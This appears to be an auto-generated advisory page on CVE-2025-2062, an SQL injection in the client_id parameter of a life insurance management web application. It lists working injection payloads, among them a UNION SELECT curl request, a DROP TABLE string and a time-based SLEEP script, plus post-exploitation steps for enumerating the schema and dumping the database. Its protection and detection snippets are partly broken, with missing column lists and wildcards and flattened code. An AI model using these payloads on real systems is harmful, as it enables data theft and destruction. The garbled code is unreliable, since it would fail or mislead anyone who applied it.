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How CVE-2025-2062 Works
The vulnerability exists in the `clientStatus.php` file of Life Insurance Management System 1.0 due to improper sanitization of the `client_id` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. The application fails to validate user-supplied input, allowing unauthorized database access, data exfiltration, or system compromise. Remote exploitation is possible without authentication, making it critical. The SQL injection occurs when crafted payloads are passed via HTTP requests, bypassing security controls.
DailyCVE Form
Platform: Life Insurance Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
curl -X GET "http://target.com/clientStatus.php?client_id=1' UNION SELECT 1,2,3,user(),5-- -"
1' OR 1=1; DROP TABLE users;--
import requests
url = "http://target.com/clientStatus.php"
payload = {"client_id": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"}
response = requests.get(url, params=payload)
Protection
// Use prepared statements
$stmt = $conn->prepare("SELECT FROM clients WHERE client_id = ?");
$stmt->bind_param("i", $_GET['client_id']);
WAF rule to block SQLi patterns
location ~ "(\'|\"|;|--|UNION|SELECT|DROP)" {
deny all;
}
Input validation regex
if (!preg_match("/^[0-9]+$/", $_GET['client_id'])) {
die("Invalid input");
}
Analytics
- Attack Vector: Remote, Unauthenticated
- Impact: Data Leakage, DB Manipulation
- Patch Status: Unavailable
- Exploit Public: Yes
- Mitigation: Input Sanitization, WAF
Detection
grep -r "client_id" /var/www/html/
-- Log monitoring SELECT FROM access_log WHERE request LIKE "%client_id%";
SQLi Scanner def check_sqli(url): payloads = ["'", "\"", "1=1"] for p in payloads: r = requests.get(url + "?client_id=" + p) if "error" in r.text: return "Vulnerable" return "Secure"
Post-Exploitation
-- Extract DB schema SELECT table_name FROM information_schema.tables;
Dump database mysqldump -u attacker -p'password' target_db > dump.sql
Hardening
Disable error reporting php_admin_flag display_errors off
-- Restrict DB permissions REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
